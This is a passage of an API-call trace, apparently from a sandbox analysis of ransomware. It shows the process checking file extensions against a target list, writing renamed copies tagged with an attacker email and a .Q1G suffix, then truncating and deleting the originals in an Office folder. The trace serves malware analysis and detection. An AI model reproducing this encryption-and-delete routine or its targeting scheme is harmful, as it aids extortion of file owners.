(lpString1=".ppt", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".zip") returned 4 [0254.009] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString=".rar") returned 4 [0254.009] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.009] lstrlenW (lpString=".bz2") returned 4 [0254.009] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.009] lstrlenW (lpString=".7z") returned 3 [0254.009] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.009] lstrlenW (lpString=".dbf") returned 4 [0254.010] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.010] lstrlenW (lpString=".1cd") returned 4 [0254.010] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0254.010] lstrlenW (lpString=".jpg") returned 4 [0254.010] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.010] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0254.010] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0254.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.011] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=38768) returned 1 [0254.011] CloseHandle (hObject=0x324) returned 1 [0254.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 0x20 [0254.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.012] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.012] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0254.012] GetLastError () returned 0x0 [0254.012] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x9770, lpOverlapped=0x0) returned 1 [0254.015] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x9780, lpOverlapped=0x0) returned 1 [0254.016] ReadFile (in: hFile=0x324, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.016] WriteFile (in: hFile=0x360, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.016] SetEndOfFile (hFile=0x360) returned 1 [0254.017] CloseHandle (hObject=0x360) returned 1 [0254.017] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.017] SetEndOfFile (hFile=0x324) returned 1 [0254.325] CloseHandle (hObject=0x324) returned 1 [0254.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 1 [0254.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.326] lstrlenW (lpString=".doc") returned 4 [0254.326] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.326] lstrlenW (lpString=".docx") returned 5 [0254.326] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0254.326] lstrlenW (lpString=".pdf") returned 4 [0254.326] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString=".xls") returned 4 [0254.327] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.327] lstrlenW (lpString=".xlsx") returned 5 [0254.327] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0254.327] lstrlenW (lpString=".ppt") returned 4 [0254.327] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString=".zip") returned 4 [0254.327] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.327] lstrlenW (lpString=".rar") returned 4 [0254.327] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString=".bz2") returned 4 [0254.327] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString=".7z") returned 3 [0254.327] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString=".dbf") returned 4 [0254.327] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString=".1cd") returned 4 [0254.327] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString=".jpg") returned 4 [0254.327] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.327] lstrlenW (lpString=".doc") returned 4 [0254.327] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString=".docx") returned 5 [0254.327] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0254.327] lstrlenW (lpString=".pdf") returned 4 [0254.327] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.327] lstrlenW (lpString=".xls") returned 4 [0254.327] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.328] lstrlenW (lpString=".xlsx") returned 5 [0254.328] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0254.328] lstrlenW (lpString=".ppt") returned 4 [0254.328] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.328] lstrlenW (lpString=".zip") returned 4 [0254.328] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.328] lstrlenW (lpString=".rar") returned 4 [0254.328] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.328] lstrlenW (lpString=".bz2") returned 4 [0254.328] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.328] lstrlenW (lpString=".7z") returned 3 [0254.328] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.328] lstrlenW (lpString=".dbf") returned 4 [0254.328] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.328] lstrlenW (lpString=".1cd") returned 4 [0254.328] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0254.328] lstrlenW (lpString=".jpg") returned 4 [0254.328] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.328] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0254.328] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0254.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.480] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=37264) returned 1 [0254.480] CloseHandle (hObject=0x3cc) returned 1 [0254.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll")) returned 0x20 [0254.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.480] lstrlenW (lpString=".doc") returned 4 [0254.480] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.480] lstrlenW (lpString=".docx") returned 5 [0254.480] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0254.480] lstrlenW (lpString=".pdf") returned 4 [0254.480] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.480] lstrlenW (lpString=".xls") returned 4 [0254.480] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.480] lstrlenW (lpString=".xlsx") returned 5 [0254.480] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0254.481] lstrlenW (lpString=".ppt") returned 4 [0254.481] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".zip") returned 4 [0254.481] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString=".rar") returned 4 [0254.481] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString=".bz2") returned 4 [0254.481] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.481] lstrlenW (lpString=".7z") returned 3 [0254.481] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".dbf") returned 4 [0254.481] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".1cd") returned 4 [0254.481] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".jpg") returned 4 [0254.481] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".doc") returned 4 [0254.481] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString=".docx") returned 5 [0254.481] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0254.481] lstrlenW (lpString=".pdf") returned 4 [0254.481] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString=".xls") returned 4 [0254.481] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString=".xlsx") returned 5 [0254.481] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0254.481] lstrlenW (lpString=".ppt") returned 4 [0254.481] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0254.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.481] lstrlenW (lpString=".zip") returned 4 [0254.482] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0254.482] lstrlenW (lpString=".rar") returned 4 [0254.482] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0254.482] lstrlenW (lpString=".bz2") returned 4 [0254.482] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0254.482] lstrlenW (lpString=".7z") returned 3 [0254.482] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.482] lstrlenW (lpString=".dbf") returned 4 [0254.482] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0254.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.482] lstrlenW (lpString=".1cd") returned 4 [0254.482] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0254.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0254.482] lstrlenW (lpString=".jpg") returned 4 [0254.482] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0254.482] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0254.482] lstrlenW (lpString="VISBRRES.DLL.IDX_DLL") returned 20 [0254.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.483] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=19328) returned 1 [0254.483] CloseHandle (hObject=0x3cc) returned 1 [0254.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 0x20 [0254.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0254.483] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.483] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0254.484] GetLastError () returned 0x0 [0254.484] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x4b80, lpOverlapped=0x0) returned 1 [0254.486] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0254.487] ReadFile (in: hFile=0x3cc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.487] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0254.487] SetEndOfFile (hFile=0x3d0) returned 1 [0254.487] CloseHandle (hObject=0x3d0) returned 1 [0254.487] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.487] SetEndOfFile (hFile=0x3cc) returned 1 [0254.489] CloseHandle (hObject=0x3cc) returned 1 [0254.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll")) returned 1 [0254.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".doc") returned 4 [0254.498] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".docx") returned 5 [0254.498] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0254.498] lstrlenW (lpString=".pdf") returned 4 [0254.498] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".xls") returned 4 [0254.498] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".xlsx") returned 5 [0254.498] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0254.498] lstrlenW (lpString=".ppt") returned 4 [0254.498] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".zip") returned 4 [0254.498] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".rar") returned 4 [0254.498] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".bz2") returned 4 [0254.498] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".7z") returned 3 [0254.498] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".dbf") returned 4 [0254.498] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".1cd") returned 4 [0254.498] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".jpg") returned 4 [0254.498] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.498] lstrlenW (lpString=".doc") returned 4 [0254.498] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0254.498] lstrlenW (lpString=".docx") returned 5 [0254.499] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0254.499] lstrlenW (lpString=".pdf") returned 4 [0254.499] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString=".xls") returned 4 [0254.499] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString=".xlsx") returned 5 [0254.499] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0254.499] lstrlenW (lpString=".ppt") returned 4 [0254.499] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.499] lstrlenW (lpString=".zip") returned 4 [0254.499] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString=".rar") returned 4 [0254.499] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString=".bz2") returned 4 [0254.499] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString=".7z") returned 3 [0254.499] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0254.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.499] lstrlenW (lpString=".dbf") returned 4 [0254.499] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.499] lstrlenW (lpString=".1cd") returned 4 [0254.499] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0254.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL") returned 68 [0254.499] lstrlenW (lpString=".jpg") returned 4 [0254.499] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0254.499] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0254.499] lstrlenW (lpString="VISINTL.DLL") returned 11 [0254.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.728] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=758648) returned 1 [0254.728] CloseHandle (hObject=0x390) returned 1 [0254.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll")) returned 0x20 [0254.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL") returned 59 [0254.743] lstrlenW (lpString=".doc") returned 4 [0254.743] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0254.743] lstrlenW (lpString=".docx") returned 5 [0254.743] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0254.743] lstrlenW (lpString=".pdf") returned 4 [0254.743] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0254.743] lstrlenW (lpString=".xls") returned 4 [0254.743] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0254.743] lstrlenW (lpString=".xlsx") returned 5 [0254.743] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0254.743] lstrlenW (lpString=".ppt") 